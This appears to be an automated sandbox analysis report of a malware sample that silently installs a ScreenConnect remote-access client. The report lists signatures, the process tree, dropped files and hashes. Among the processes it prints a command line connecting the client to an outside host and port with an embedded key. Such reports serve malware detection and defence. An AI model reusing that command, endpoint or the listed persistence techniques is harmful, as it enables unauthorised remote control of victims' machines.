Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/09/2026, 19:09

General

  • Target
    2026-09-12_b59c100832e4f52e1cb9bc3edae8ebbd_amadey_luca-stealer_njrat_ransomhub_remcos_smoke-loader.exe
  • Size 13.6MB
  • Sample260912-xttjlashka
  • SHA256 f7252eeaa799ca2b18857a19db408fbd91ece41c8be0bd7dc376de5ff7a9118f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 1 IoCs
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 27 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 26 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 18 IoCs
  • Suspicious use of SendNotifyMessage 18 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-12_b59c100832e4f52e1cb9bc3edae8ebbd_amadey_luca-stealer_njrat_ransomhub_remcos_smoke-loader.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-12_b59c100832e4f52e1cb9bc3edae8ebbd_amadey_luca-stealer_njrat_ransomhub_remcos_smoke-loader.exe"
    1⤵
      PID:5132
    • C:\Windows\system32\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\PackageCache\pkg_notlchge.msi" /quiet /qn
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3152
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1304
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding B27C72DDB14A72CC6CEB0C4C678ED519
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:624
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI4C22.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240733562 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:1776
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 3503F950F3B05E6DF4E2CDB9A8A1C5F4 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:3036
    • C:\Program Files (x86)\ScreenConnect Client (814517df34b5f3b8)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (814517df34b5f3b8)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=108.62.161.53&p=8041&s=2ad49bd5-d75e-4543-b399-53ab30eff56b&k=BgIAAACkAABSU0ExAAgAAAEAAQBhxtgt7ptuFpoOYxgAqi6%2bAzucOjPGJDyREz%2bxGp7Nr08219h00KGYCV8he5S69id74deN5mg%2f3OlYkzwPDHEp%2b09dsiNvAFQ0qA%2ffkORRbbmUz73NOedKw2v%2bX4Pc4%2fetgVlUPPX8nWU9lcydkNE3vNxYU0fbHVrvVqL5AFBJMmyEAThEYH3zp9M6quQB%2br9dKju4Wh8G5E66l%2fxcBCuQYAskcGv7KPYDfthc0C%2bl8%2fLvxFmaEkWVEBtaf1yNQ0IMTN9tiY9dPLdRUX5z%2f%2bLAbHWLqsYIP%2fwQRsJV%2fkhCMt22ll8TvugagAN9N2B7tkeeE6ndY%2fMe1UVlY3hXQEm%2f"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3824
      • C:\Program Files (x86)\ScreenConnect Client (814517df34b5f3b8)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (814517df34b5f3b8)\ScreenConnect.WindowsClient.exe" "RunRole" "5bbca0e7-4b5c-4077-9e1b-1d26595734ac" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:5080

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e594a02.rbs

          • Path C:\Config.Msi\e594a02.rbs
          • Size 214KB
          • SHA256 06415fb279e4d0360e88a5ba95d1411dd6178cd5262a363a51c5a87f5498c163
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (814517df34b5f3b8)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (814517df34b5f3b8)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (814517df34b5f3b8)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (814517df34b5f3b8)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (814517df34b5f3b8)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (814517df34b5f3b8)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (814517df34b5f3b8)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (814517df34b5f3b8)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (814517df34b5f3b8)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (814517df34b5f3b8)\app.config
          • Size 508B
          • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (814517df34b5f3b8)\system.config
          • Size 953B
          • SHA256 2455fa53899e66d8c249fea7dd2e25c3f66b3d2288428ede4d409099abaccbee
          • MD5 SHA1 SHA512 TLSH

          pkg_notlchge.msi

          • Path C:\Users\Admin\AppData\Local\PackageCache\pkg_notlchge.msi
          • Size 9.5MB
          • SHA256 3dc3e7fc1cb1d45acfc5ccd3bc85fe501a9f9915595a71e8ba9889912794c427
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI4C22.tmp

          • Path C:\Windows\Installer\MSI4C22.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI4C22.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI4C22.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI4C22.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI4C22.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI52AC.tmp

          • Path C:\Windows\Installer\MSI52AC.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          1qlhtoqp.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (814517df34b5f3b8)\1qlhtoqp.newcfg
          • Size 561B
          • SHA256 b9b3769323a29238e7ebe9a060f3351bb7532e151ca77fbb3e0c9898a1a452bf
          • MD5 SHA1 SHA512 TLSH

          ald3vu4o.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (814517df34b5f3b8)\ald3vu4o.newcfg
          • Size 561B
          • SHA256 f636844b0cb8d189c7576da38dce9c3c7f087bd8524481368ab96ac45b72b2b0
          • MD5 SHA1 SHA512 TLSH

          c4gtvsv0.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (814517df34b5f3b8)\c4gtvsv0.newcfg
          • Size 561B
          • SHA256 3e9b3a494ebab8d3d8e639048b2b1ded6fa1a809a904e7188081b8c90401ca04
          • MD5 SHA1 SHA512 TLSH

          gntb4hly.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (814517df34b5f3b8)\gntb4hly.newcfg
          • Size 561B
          • SHA256 5b13fd8e4528f1868ede050285e58f420752103544c3aa26d022029d9ac1e975
          • MD5 SHA1 SHA512 TLSH

          lbmwx1n5.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (814517df34b5f3b8)\lbmwx1n5.newcfg
          • Size 561B
          • SHA256 e885f62bd1e19d20db9be09d6b7cebed17cafc5cb72ed5466ded9b8e39df0517
          • MD5 SHA1 SHA512 TLSH

          lgk3ifca.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (814517df34b5f3b8)\lgk3ifca.newcfg
          • Size 561B
          • SHA256 c44ec72ef49c5a1d65416b9876f9e09542fd76a49112c4e45f521c1bff042e47
          • MD5 SHA1 SHA512 TLSH

          phqbmrol.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (814517df34b5f3b8)\phqbmrol.newcfg
          • Size 561B
          • SHA256 d2b2866a61f8acef043b4f54c1996cea29d73c15e9ce1b49bc2b712fbeb5d3f1
          • MD5 SHA1 SHA512 TLSH

          qlky0wvo.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (814517df34b5f3b8)\qlky0wvo.newcfg
          • Size 561B
          • SHA256 91bb3c2adbf19cc6841a0e9e6cd328e3f0d65065abb7854881a6338abeabda62
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (814517df34b5f3b8)\user.config
          • Size 561B
          • SHA256 aa0258a663e38ceb95d6872fdddcd668bf1dbe5f07847fcacd730e15d8b4a145
          • MD5 SHA1 SHA512 TLSH

          memory/1776-35-0x0000000006290000-0x000000000684A000-memory.dmp

          memory/1776-22-0x00000000037B0000-0x00000000037DE000-memory.dmp

          memory/1776-34-0x0000000005B20000-0x0000000005CCC000-memory.dmp

          memory/1776-26-0x00000000037F0000-0x00000000037FA000-memory.dmp

          memory/1776-30-0x00000000058E0000-0x000000000596C000-memory.dmp

          memory/3824-101-0x0000000004390000-0x00000000043D1000-memory.dmp

          memory/3824-99-0x0000000004730000-0x00000000047C2000-memory.dmp

          memory/3824-72-0x0000000001CE0000-0x0000000001CF8000-memory.dmp

          memory/3824-94-0x00000000043E0000-0x0000000004430000-memory.dmp

          memory/3824-98-0x0000000004430000-0x0000000004466000-memory.dmp

          memory/3824-103-0x0000000004920000-0x00000000049F5000-memory.dmp

          memory/5080-118-0x000000001BDA0000-0x000000001BDE1000-memory.dmp

          memory/5080-114-0x000000001C050000-0x000000001C1FC000-memory.dmp

          memory/5080-115-0x000000001C390000-0x000000001C518000-memory.dmp

          memory/5080-111-0x0000000000E00000-0x0000000000E98000-memory.dmp

          memory/5080-113-0x000000001BE10000-0x000000001BE9C000-memory.dmp

          memory/5080-112-0x0000000003140000-0x0000000003176000-memory.dmp

          memory/5080-117-0x000000001BD80000-0x000000001BD98000-memory.dmp

          memory/5080-116-0x00000000030E0000-0x00000000030F8000-memory.dmp

          memory/5132-119-0x00007FF638180000-0x00007FF638F36000-memory.dmp